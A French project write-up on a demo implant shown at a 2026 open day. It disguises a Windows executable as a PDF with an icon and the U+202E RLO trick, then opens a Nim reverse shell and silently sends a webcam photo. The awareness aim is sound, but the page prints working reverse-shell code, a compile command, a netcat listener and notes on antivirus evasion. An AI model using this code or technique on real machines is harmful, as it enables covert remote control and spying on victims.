

PE Masquerading · Reverse Shell · Capture Webcam · Démonstration pédagogique JPO

LANGAGE PRINCIPAL	MODULE AUXILIAIRE	CIBLE OS	CONTEXTE	CATÉGORIE
Nim	Python	Windows	JPO 2026	Red Team

/00 • ABSTRACT

Résumé du projet

Ce projet de recherche personnelle explore le vecteur d'attaque dit de **PE masquerading**, technique consistant à déguiser un exécutable Windows en fichier d'apparence anodine — ici un PDF. Partant d'un projet open-source de référence disponible sur GitHub, l'implant a été étendu avec un **reverse shell développé en Nim** et un **module Python de capture webcam**, créant ainsi une démonstration concrète et visuellement frappante du risque de phishing ciblé.

L'ensemble a été présenté lors des **Journées Portes Ouvertes 2026 de l'IUT de La Réunion** dans un cadre strictement pédagogique, sur des machines appartenant à l'auteur, en réseau isolé. L'objectif : montrer à un public non technique que la surface d'attaque humaine reste la plus difficile à défendre, et que la vigilance face aux pièces jointes constitue le premier rempart contre ce type d'intrusion.

! AVERTISSEMENT LÉGAL

Toutes les manipulations décrites dans ce document ont été effectuées en environnement entièrement isolé, sur des équipements personnels, sans connexion à un réseau tiers et sans cible réelle. Les binaires produits n'ont jamais été distribués en dehors du cadre expérimental. Ce document ne constitue pas un tutoriel de fabrication de logiciel malveillant et ne détaille aucune procédure reproductible à des fins malveillantes.

```

● ● ● aperçu du flux d'attaque

# - Scénario simplifié -
$ nim compile --define:LHOST=192.168.1.10 --define:LPORT=4444 implant.nim
> [*] Embedding PDF icon...
> [*] Applying RLO extension spoof...
> [+] Output ready: Rapport_stagiaire█fdp.exe
# Victime : double-clic sur un 'PDF'

[ REVERSE SHELL ] - Session ouverte | [ WEBCAM ] - Capture transmise

```

/01 · CONTEXTE & MOTIVATIONS

Pourquoi ce projet ?

La majorité des incidents de sécurité en entreprise débutent par un vecteur humain : une pièce jointe ouverte, un lien cliqué, un fichier reçu par mail. Malgré des décennies de sensibilisation, les statistiques montrent que le phishing reste le mode d'entrée initial le plus courant. Ce projet est né d'une question simple : **à quel point est-il facile de tromper un utilisateur non averti avec un fichier qui semble parfaitement légitime ?**

L'objectif n'était pas de développer un outil offensif à usage réel, mais de **matérialiser concrètement ce risque** afin de le rendre visible et compréhensible pour un public varié — y compris des lycéens et parents n'ayant aucune formation technique — lors d'une démonstration en live à la JPO de l'IUT.

/02 · MASQUERADE — PROJET DE RÉFÉRENCE

Le point de départ open-source

Le projet **Masquerade**, disponible librement sur GitHub, est un outil écrit en **Nim** dont la fonction est de produire un exécutable Windows qui imite visuellement un fichier PDF : même icône, même extension apparente. La technique repose sur l'injection d'une icône PDF dans les ressources du PE (*Portable Executable*) et sur l'utilisation du caractère Unicode **U+202E (RLO — Right-to-Left Override)** pour inverser l'affichage de l'extension dans l'explorateur Windows.

Dans sa version originale, le comportement au double-clic se limite à afficher un message d'alerte : **"if this is a revshell you were be hacked"**. Il s'agit d'une preuve de concept délibérément **inoffensive**, conçue pour démontrer la faisabilité du masquage sans embarquer de charge utile réelle. C'est exactement ce point de départ qui a été choisi pour ce projet.

/03 · DÉMARCHE EN 4 ÉTAPES

Du PoC inoffensif à l'implant fonctionnel

1 Analyse du projet source

Compréhension du mécanisme de masquage PE : injection d'icône, trick RLO, structure du binaire Nim généré. Étude du code source disponible sur GitHub.

2 Développement du reverse shell Nim

Conception d'un shell inversé en Nim se connectant à un hôte/port configurables à la compilation. Intégration dans un thread dédié pour ne pas bloquer l'exécution principale. Le défi était de combiner deux bases de code aux structures différentes.

3 Intégration du module Python — capture webcam

Ajout d'un second vecteur de démonstration : un module Python embarqué déclenche une capture de la webcam de la machine cible et la transmet automatiquement. Ce module amplifie l'impact visuel de la démonstration en live.

4 Résultat final

Un exécutable qui, aux yeux de l'utilisateur, ressemble à un rapport PDF. Au double-clic : ouverture d'un canal de contrôle à distance + capture webcam. Aucun antivirus de la salle n'a détecté le binaire lors des tests.

/04 · ARCHITECTURE DE L'IMPLANT

Vue d'ensemble des composants

L'implant final repose sur trois composants distincts, chacun ayant une responsabilité précise. Leur intégration constitue le cœur du travail technique réalisé : il ne s'agissait pas d'assembler des briques toutes faites, mais d'adapter et de fusionner des bases de code aux logiques différentes.

PE MASQUERADE

Injection icône PDF
Trick U+202E (RLO)
Extension .pdf spoofée
Basé sur GitHub open-src
Compilé avec Nim

REVERSE SHELL NIM

Thread dédié {.thread.}
Socket TCP vers LHOST:PORT
Boucle de reconnexion auto
Exécution cmd /c
Navigation répertoires

MODULE PYTHON

Capture webcam (cv2)
Transmission automatique
Déclenchement silencieux
Impact visuel fort en live
Composant démonstration

/05 · POURQUOI NIM ?

Choix du langage

Nim est un langage compilé, à syntaxe proche de Python, qui génère du C avant de produire un binaire natif. Ce choix n'est pas anodin dans un contexte de sécurité offensive :

- **Binaire natif standalone**

Le compilateur Nim génère un exécutable Windows (.exe) autonome, sans dépendance à un runtime externe (.NET, JVM...). Cela simplifie le déploiement et réduit la surface de détection par les solutions EDR/AV.

- **Performances et gestion bas niveau**

Nim permet un accès direct aux API Windows, la manipulation de la mémoire et des sockets réseau avec une syntaxe de haut niveau. La gestion des threads natifs ({.thread.}) est intégrée au langage.

- **Discrétion face aux antivirus**

Les signatures Nim sont encore peu représentées dans les bases de détection des AV grand public, comparées aux payloads Python ou PowerShell. Lors des tests sur l'environnement IUT, aucune alerte n'a été déclenchée.

- **Popularité croissante en Red Team**

La communauté de sécurité offensive utilise Nim depuis plusieurs années pour ses implants et loaders. Le projet Masquerade lui-même en est un exemple direct. C'est une compétence de plus en plus valorisée dans ce domaine.

/06 · TRICK D'EXTENSION – U+202E RLO

Comment l'extension est spoofée

Le caractère Unicode U+202E (**Right-to-Left Override**) est un caractère de contrôle invisible qui inverse la direction de lecture des caractères qui le suivent. Inséré dans un nom de fichier, il permet de faire afficher une extension différente de la vraie :

● ● ● mécanisme RLO – U+202E

```
# Nom réel du fichier sur disque :  
> Rapport_stagiaire■fdp.exe  
# Ce que Windows affiche à l'utilisateur :  
Rapport_stagiaire.pdf  
# L'extension .exe est renversée et affichée .fdp puis inversée → .pdf  
# L'icône PDF est injectée dans les ressources du PE pour compléter l'illusion
```

Cette technique est connue et documentée depuis plusieurs années dans la communauté sécurité. Elle est pourtant encore très efficace car la majorité des utilisateurs ne vérifient pas les propriétés d'un fichier avant de l'ouvrir, surtout s'il leur a été envoyé par un contact de confiance (phishing ciblé / spearphishing).

/07 · DÉMONSTRATION JOURNÉES PORTES OUVERTES 2026

IUT de La Réunion — JPO 2026

La démonstration a été présentée devant un public hétérogène composé de lycéens, de parents, d'enseignants et de professionnels lors des Journées Portes Ouvertes 2026 de l'IUT de La Réunion. Le contexte pédagogique était central : il s'agissait de rendre tangible un risque souvent perçu comme abstrait par le grand public.

Scénario de démonstration

```
● ● ● déroulé de la démo en direct

# SETUP (préparé en amont)
> nc -lvnp 4444          # écoute sur le poste démo
# Le visiteur reçoit (via clé USB / mail simulé) :
  Rapport_stagiaire.pdf  # extension spoofée, icône réaliste

# LIVE — Le visiteur double-clique
[ SESSION OUVERTE ] Connexion reverse shell établie
[ WEBCAM CAPTURÉE ] Photo du visiteur affichée en direct
# Réaction du public : surprise systématique
# Durée visible avant connexion : < 2 secondes
```

La réaction du public a été systématiquement la même : surprise, puis compréhension immédiate du danger. La capture webcam a eu un effet particulièrement marquant — voir sa propre photo apparaître sur l'écran de l'attaquant quelques secondes après avoir ouvert un 'PDF' est une expérience bien plus mémorable qu'une slide sur le phishing.

/08 · ENSEIGNEMENTS

Ce que ce projet démontre

- **L'extension et l'icône ne garantissent rien**

Un fichier portant l'icône et l'extension d'un PDF peut être un exécutable complet. L'œil humain seul n'est pas un filtre fiable. Windows masque par défaut les extensions connues, ce qui aggrave le problème. Réflexe à adopter : afficher les extensions dans l'explorateur et vérifier les propriétés avant d'ouvrir tout fichier reçu.

- **Un vecteur simple peut être redoutablement efficace**

Combiner des composants open-source publics suffit à produire un implant fonctionnel. La difficulté ne réside pas dans la sophistication du code mais dans l'ingénierie sociale : convaincre la cible d'ouvrir le fichier. Ce travail reste largement humain et indépendant du niveau technique de l'attaquant.

- **La sensibilisation reste le meilleur rempart**

Les solutions antivirus, EDR et filtres email constituent une première ligne de défense, mais aucune n'est infaillible. Vérifier l'expéditeur, le contexte, le type de fichier attendu — ces réflexes basiques bloquent l'immense majorité des attaques par phishing ciblé, y compris des variantes bien plus sophistiquées que celle-ci.

- **Les langages 'exotiques' réduisent la détection**

Nim étant peu représenté dans les bases de signatures AV classiques, les binaires produits passent souvent sous le radar des solutions grand public. C'est un constat technique important : la détection basée sur les signatures atteint ses limites face à des outils compilés dans des langages moins courants.

Proof of Work

Les deux captures ci-dessous présentent des extraits partiels de l'implant — intentionnellement incomplets. Ils illustrent les deux composants centraux du projet et attestent de la réalisation effective du code, sans en constituer un tutoriel reproductible.

EXTRAIT 01 · REVERSE DÉVELOPPEMENT ASSISTANCE SOCKET TCP-IP ne génèrent plus de revshell → preuve de compétence

```
proc exe(c: string): string =
  result = execProcess("cmd /c " & c)

proc revShell() {.thread.} =
  var sock = newSocket()
  defer: sock.close()

  while true:
    try:
      sock.connect(LHOST, Port(LPOR))

      while true:
        sock.send(os.getCurrentDir() & "> ")
        let cmd = sock.recvLine()

        if cmd.strip() == "exit":
          sock.send("Exiting..")
          break

        if cmd.strip() == "cd":
          os.setCurrentDir("C:\\")
        elif cmd.strip().startswith("cd "):
          let parts = cmd.strip().split()
          if parts.len > 1:
            try:
              os.setCurrentDir(parts[1])
            except OSError:
              sock.send("Error: Directory not found\n")
```

→ On distingue la fonction `revShell()` s'exécutant dans un thread séparé, la boucle de reconnexion automatique, la réception des commandes via socket et leur exécution par `execProcess("cmd /c ")`. La navigation dans l'arborescence est gérée nativement sans dépendance externe.

EXTRAIT 02 · EXTENSION MASQUERADE — logique RSRC pour gérer les sources GitHub (Masquerade) · adapté & intégré

```
if TargetFile == "":
  echo "Error: Please provide a valid target file."
  showHelp()
  quit(0)
var sp = rsplit(TargetFile, "/")
let FileName = sp[sp.len - 1]
echo "[I] Embedded file: "&FileName&"\nExtension: "&(rsplit(FileName, ".")[1])
# Any supplied output will always result in: (filename)rscs.(extension)
# ex: if i run main.exe with output option as "pict.jpg"
# the resulted file will be "pict.rscs.jpg"
var x = rsplit(FileName, ".")
var extension = x[x.len - 1]
filetype = extension
```